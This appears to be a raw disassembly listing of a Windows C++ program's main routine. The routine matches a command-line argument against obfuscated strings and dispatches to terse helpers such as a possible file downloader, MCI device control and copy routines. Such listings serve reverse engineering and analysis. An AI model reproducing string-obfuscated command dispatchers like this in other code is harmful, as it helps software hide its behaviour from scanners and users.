call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x31ce]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov ebx, 0
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x231956d6f
lea rax, [rbp + 0x31cf]
mov rcx, rax
call method.main.lambda__154::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__17435536050375490013ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956d6f
mov eax, 1
jmp 0x231956d74
mov eax, 0
test al, al
je 0x231956e6e
lea rax, [rbp + 0x31fe]
mov qword [rbp + 0x38e8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x31fe]
lea rax, [rbp + 0x31d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x31d0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ecx, eax
lea rax, [rbp + 0x320]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.WINMM.dll_mciGetErrorStringA]
call rax
lea rax, [rbp + 0x31d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x31fe]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x320]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x231956eb2
lea rax, [rbp + 0x31ff]
mov rcx, rax
call method.main.lambda__155::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__16808490790582818697ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956eb2
mov eax, 1
jmp 0x231956eb7
mov eax, 0
test al, al
je 0x231956fb2
lea rax, [rbp + 0x322f]
mov qword [rbp + 0x38e0], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x322f]
lea rax, [rbp + 0x3200]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3200]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, 0
mov ecx, eax
call sym.f_slpc_unsigned_long__int_
mov dword [rbp + 0x3cf8], eax
lea rax, [rbp + 0x3200]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x322f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3cf8]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3cf8]
lea rax, [rbp + 0x3230]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3230]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3cf8]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 3
jle 0x231956ff6
lea rax, [rbp + 0x325f]
mov rcx, rax
call method.main.lambda__156::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__7443281900248339873ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956ff6
mov eax, 1
jmp 0x231956ffb
mov eax, 0
test al, al
je 0x2319570c4
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.f_dwnlf_char_const__char_const_
mov dword [rbp + 0x3cfc], eax
mov eax, dword [rbp + 0x3cfc]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3cfc]
lea rax, [rbp + 0x3260]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call method._com_error._com_error_long__IErrorInfo__bool_
lea rax, [rbp + 0x3260]
mov rcx, rax
call method._com_error.ErrorMessage___const
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x3260]
mov rcx, rax
call method._com_error._com_error__
mov ebx, dword [rbp + 0x3cfc]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x231957108
lea rax, [rbp + 0x328f]
mov rcx, rax
call method.main.lambda__157::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__16082863537590315317ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957108
mov eax, 1
jmp 0x23195710d
mov eax, 0
test al, al
je 0x2319571fd
lea rax, [rbp + 0x32be]
mov qword [rbp + 0x38d8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x32be]
lea rax, [rbp + 0x3290]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3290]
mov rcx, rax
call sym.f_mci_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov dword [rbp + 0x3d00], eax
lea rax, [rbp + 0x3290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x32be]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d00]
lea rdx, [rbp + 0x320]
mov r8d, 0x104
mov ecx, eax
mov rax, qword [sym.imp.WINMM.dll_mciGetErrorStringA]
call rax
mov eax, dword [rbp + 0x3d00]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x320]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, dword [rbp + 0x3d00]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x231957241
lea rax, [rbp + 0x32bf]
mov rcx, rax
call method.main.lambda__158::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__1705119674250030031ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957241
mov eax, 1
jmp 0x231957246
mov eax, 0
test al, al
je 0x231957303
call sym.f_pds__
mov dword [rbp + 0x3d74], eax
cmp dword [rbp + 0x3d74], 1
jne 0x23195726c
mov dword [rbp + 0x3d74], 0
mov eax, dword [rbp + 0x3d74]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d74]
lea rax, [rbp + 0x32c0]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call method._com_error._com_error_long__IErrorInfo__bool_
lea rax, [rbp + 0x32c0]
mov rcx, rax
call method._com_error.ErrorMessage___const
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x32c0]
mov rcx, rax
call method._com_error._com_error__
mov ebx, dword [rbp + 0x3d74]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 3
jle 0x231957347
lea rax, [rbp + 0x32ef]
mov rcx, rax
call method.main.lambda__159::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__13541658888311396845ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957347
mov eax, 1
jmp 0x23195734c
mov eax, 0
test al, al
je 0x2319574b6
lea rax, [rbp + 0x331f]
mov qword [rbp + 0x38d0], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x331f]
lea rax, [rbp + 0x32f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x32f0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov ebx, eax
lea rax, [rbp + 0x334f]
mov qword [rbp + 0x38c8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x334f]
lea rax, [rbp + 0x3320]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3320]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
mov edx, ebx
mov ecx, eax
call sym.f_bp_unsigned_long__unsigned_long_
mov dword [rbp + 0x3d04], eax
lea rax, [rbp + 0x3320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x334f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x32f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x331f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d04]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d04]
lea rax, [rbp + 0x3350]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3350]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d04]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 2
jle 0x2319574fa
lea rax, [rbp + 0x337e]
mov rcx, rax
call method.main.lambda__160::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__6011533496892355941ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319574fa
mov eax, 1
jmp 0x2319574ff
mov eax, 0
test al, al
je 0x2319575fb
mov dword [rbp + 0x3d70], 0
cmp dword [rbp + 0x3dd0], 3
jle 0x231957555
lea rax, [rbp + 0x337f]
mov rcx, rax
call method.main.lambda__161::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__10803504033316810023ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957555
mov eax, 1
jmp 0x23195755a
mov eax, 0
test al, al
je 0x231957568
mov dword [rbp + 0x3d70], 1
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov edx, dword [rbp + 0x3d70]
mov rcx, rax
call sym.f_dc_char_const__int_
mov dword [rbp + 0x3d08], eax
mov eax, dword [rbp + 0x3d08]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d08]
lea rax, [rbp + 0x3380]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3380]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3380]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d08]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x23195763f
lea rax, [rbp + 0x33af]
mov rcx, rax
call method.main.lambda__162::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__2854705492847189331ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195763f
mov eax, 1
jmp 0x231957644
mov eax, 0
test al, al
je 0x2319576c4
call sym.f_ec__
mov dword [rbp + 0x3d0c], eax
mov eax, dword [rbp + 0x3d0c]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d0c]
lea rax, [rbp + 0x33b0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x33b0]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x33b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d0c]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 1
jle 0x231957708
lea rax, [rbp + 0x33de]
mov rcx, rax
call method.main.lambda__163::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__14410858239533847465ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957708
mov eax, 1
jmp 0x23195770d
mov eax, 0
test al, al
je 0x231957811
mov dword [rbp + 0x3d6c], 0
cmp dword [rbp + 0x3dd0], 3
jle 0x231957763
lea rax, [rbp + 0x33df]
mov rcx, rax
call method.main.lambda__164::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__15816511769268002103ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957763
mov eax, 1
jmp 0x231957768
mov eax, 0
test al, al
je 0x231957776
mov dword [rbp + 0x3d6c], 1
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rax, qword [rax]
mov edx, dword [rbp + 0x3d6c]
mov r8d, edx
mov edx, 0
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
mov dword [rbp + 0x3d10], eax
mov eax, dword [rbp + 0x3d10]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d10]
lea rax, [rbp + 0x33e0]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x33e0]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x33e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d10]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 3
jle 0x231957855
lea rax, [rbp + 0x340f]
mov rcx, rax
call method.main.lambda__165::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__1825482929748958715ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957855
mov eax, 1
jmp 0x23195785a
mov eax, 0
test al, al
je 0x2319579b3
lea rax, [rbp + 0x343f]
mov qword [rbp + 0x38c0], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x343f]
lea rax, [rbp + 0x3410]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x346f]
mov qword [rbp + 0x38b8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x346f]
lea rax, [rbp + 0x3440]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x3410]
lea rax, [rbp + 0x3440]
mov r8d, 0
mov rcx, rax
call sym.f_cc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
mov dword [rbp + 0x3d14], eax
lea rax, [rbp + 0x3440]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x346f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x3410]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x343f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rcx, rax
mov eax, dword [rbp + 0x3d14]
mov edx, eax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d14]
lea rax, [rbp + 0x3470]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3470]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3470]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d14]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 3
jle 0x2319579f7
lea rax, [rbp + 0x349f]
mov rcx, rax
call method.main.lambda__166::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__378169513808851259ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319579f7
mov eax, 1
jmp 0x2319579fc
mov eax, 0
test al, al
je 0x231957b43
lea rax, [rbp + 0x34cf]
mov qword [rbp + 0x38b0], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x34cf]
lea rax, [rbp + 0x34a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x34ff]
mov qword [rbp + 0x38a8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x34ff]
lea rax, [rbp + 0x34d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x34a0]
lea rax, [rbp + 0x34d0]
mov r8d, 0
mov rcx, rax
call sym.f_xc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
mov dword [rbp + 0x3d18], eax
lea rax, [rbp + 0x34d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x34ff]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x34a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x34cf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d18]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d18]
lea rax, [rbp + 0x3500]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
lea rax, [rbp + 0x3500]
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3500]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, dword [rbp + 0x3d18]
jmp 0x231958bb3
cmp dword [rbp + 0x3dd0], 3
jle 0x231957b87
lea rax, [rbp + 0x352f]
mov rcx, rax
call method.main.lambda__167::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15965178573338947337ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231957b87
mov eax, 1
jmp 0x231957b8c
mov eax, 0
test al, al
je 0x231957cd3
lea rax, [rbp + 0x355f]
mov qword [rbp + 0x38a0], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rdx, qword [rax]
lea rcx, [rbp + 0x355f]
lea rax, [rbp + 0x3530]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x358f]
mov qword [rbp + 0x3898], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0x358f]
lea rax, [rbp + 0x3560]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x3530]
lea rax, [rbp + 0x3560]
mov r8d, 0
mov rcx, rax
call sym.f_xpc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
mov dword [rbp + 0x3d1c], eax
lea rax, [rbp + 0x3560]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x358f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x3530]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x355f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp + 0x3d1c]
mov edx, eax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::ostream.operator___int_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, dword [rbp + 0x3d1c]
lea rax, [rbp + 0x3590]
mov rcx, rax
call sym.f_errstr_abi:cxx11__unsigned_long_
